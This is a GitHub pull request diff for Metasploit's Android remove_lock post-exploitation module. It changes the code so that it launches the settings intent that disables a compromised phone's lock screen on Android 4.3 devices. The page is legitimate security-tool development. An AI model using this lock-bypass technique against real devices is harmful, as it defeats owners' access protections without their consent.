Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix Android remove_lock to work with 4.3 devices #6571

Merged
merged 1 commit into from
Feb 26, 2016
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
9 changes: 4 additions & 5 deletions modules/post/android/manage/remove_lock.rb
Original file line number Diff line number Diff line change
Expand Up @@ -63,13 +63,12 @@ def run
return
end

output = cmd_exec('am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task')
if output =~ /Error:/
print_error("The Intent could not be started")
vprint_status("Command output: #{output}")
else
result = session.android.activity_start('intent:#Intent;launchFlags=0x8000;component=com.android.settings/.ChooseLockGeneric;i.lockscreen.password_type=0;B.confirm_credentials=false;end')
if result.nil?
print_good("Intent started, the lock screen should now be a dud.")
print_good("Go ahead and manually swipe or provide any pin/password/pattern to continue.")
else
print_error("The Intent could not be started: #{result}")
end
end

Expand Down